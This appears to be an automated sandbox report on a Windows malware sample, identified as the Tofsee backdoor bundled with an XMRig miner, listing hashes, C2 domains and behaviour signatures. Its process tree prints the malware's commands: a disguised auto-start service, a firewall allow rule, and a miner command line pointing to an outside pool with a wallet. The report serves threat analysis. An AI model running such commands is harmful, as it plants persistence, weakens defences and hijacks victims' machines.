Overview

overview

10

Static

static

file.exe

windows7-x64

10

file.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    26/10/2022, 18:02

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General

  • Target

    file.exe

  • Size

    217KB

  • MD5

    67a1ad09b8b676afc20a1c25dc85724c

  • SHA1

    52cc6a9191c34c4f4e611e2928afa2fa2f647545

  • SHA256

    ded89e474ebdfae1e7e410697bee10b242ee94eace304f5552266e3bf6dc5ce5

  • SHA512

    e7533ea7f4cb898157930c4fba3bf6a818153c2cab0ffc4481f2ebaeae95f4651de069226178ffbab7cbb823ff8468fcd96005000a64cac89528d469be9b1e40

  • SSDEEP

    3072:KGJT1Tk4mYQWLxaLvUK6kJe55Sm+nxnBU7SE7fHEK9+6NxaBchx:KGr4vYQ/LvUKPJexanbFK9+6NsKh

Score
10/10
tofseexmrigevasionminerpersistencetrojan

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs 1 IoCs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
    evasion
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1376
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\oqcfehkn\
      2⤵
        PID:984
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ekxslsfa.exe" C:\Windows\SysWOW64\oqcfehkn\
        2⤵
          PID:1716
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create oqcfehkn binPath= "C:\Windows\SysWOW64\oqcfehkn\ekxslsfa.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1656
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description oqcfehkn "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1108
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start oqcfehkn
          2⤵
          • Launches sc.exe
          PID:1808
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:820
      • C:\Windows\SysWOW64\oqcfehkn\ekxslsfa.exe
        C:\Windows\SysWOW64\oqcfehkn\ekxslsfa.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1028
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1460

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ekxslsfa.exe
        Filesize

        10.0MB

        MD5

        5d92cff52ed619bcc1587478dcaf2238

        SHA1

        06436c03dc362161995ba900e3fe8ba5a278d33c

        SHA256

        94dce388fb56d47bc654037840226df226f89f75322d4c513ad98530a1418e8a

        SHA512

        c3e16a000dda4276f00b62f126f13b9a277b64b3ca78292e44f947a2cd283f004c15421128b4de9d3e3d2018e7a0ba505f3b45ac820399938f5a8148034c9607

        Download Submit

      • C:\Windows\SysWOW64\oqcfehkn\ekxslsfa.exe
        Filesize

        10.0MB

        MD5

        5d92cff52ed619bcc1587478dcaf2238

        SHA1

        06436c03dc362161995ba900e3fe8ba5a278d33c

        SHA256

        94dce388fb56d47bc654037840226df226f89f75322d4c513ad98530a1418e8a

        SHA512

        c3e16a000dda4276f00b62f126f13b9a277b64b3ca78292e44f947a2cd283f004c15421128b4de9d3e3d2018e7a0ba505f3b45ac820399938f5a8148034c9607

        Download Submit

      • memory/1028-81-0x00000000019F0000-0x0000000001BFF000-memory.dmp

        Filesize

        2.1MB

        Download

      • memory/1028-68-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1028-96-0x0000000000430000-0x0000000000437000-memory.dmp

        Filesize

        28KB

        Download

      • memory/1028-93-0x00000000054C0000-0x00000000058CB000-memory.dmp

        Filesize

        4.0MB

        Download

      • memory/1028-90-0x00000000001B0000-0x00000000001B5000-memory.dmp

        Filesize

        20KB

        Download

      • memory/1028-87-0x0000000000160000-0x0000000000170000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1028-84-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

        Download

      • memory/1028-80-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1028-78-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1028-71-0x00000000000C0000-0x00000000000D5000-memory.dmp

        Filesize

        84KB

        Download

      • memory/1376-55-0x00000000006DB000-0x00000000006EC000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1376-56-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

        Download

      • memory/1376-57-0x0000000000400000-0x0000000000594000-memory.dmp

        Filesize

        1.6MB

        Download

      • memory/1376-69-0x0000000000400000-0x0000000000594000-memory.dmp

        Filesize

        1.6MB

        Download

      • memory/1376-67-0x00000000006DB000-0x00000000006EC000-memory.dmp

        Filesize

        68KB

        Download

      • memory/1376-54-0x0000000075BD1000-0x0000000075BD3000-memory.dmp

        Filesize

        8KB

        Download

      • memory/1460-99-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1460-101-0x0000000000170000-0x0000000000261000-memory.dmp

        Filesize

        964KB

        Download

      • memory/1756-77-0x0000000000400000-0x0000000000594000-memory.dmp

        Filesize

        1.6MB

        Download

      • memory/1756-74-0x000000000026B000-0x000000000027C000-memory.dmp

        Filesize

        68KB

        Download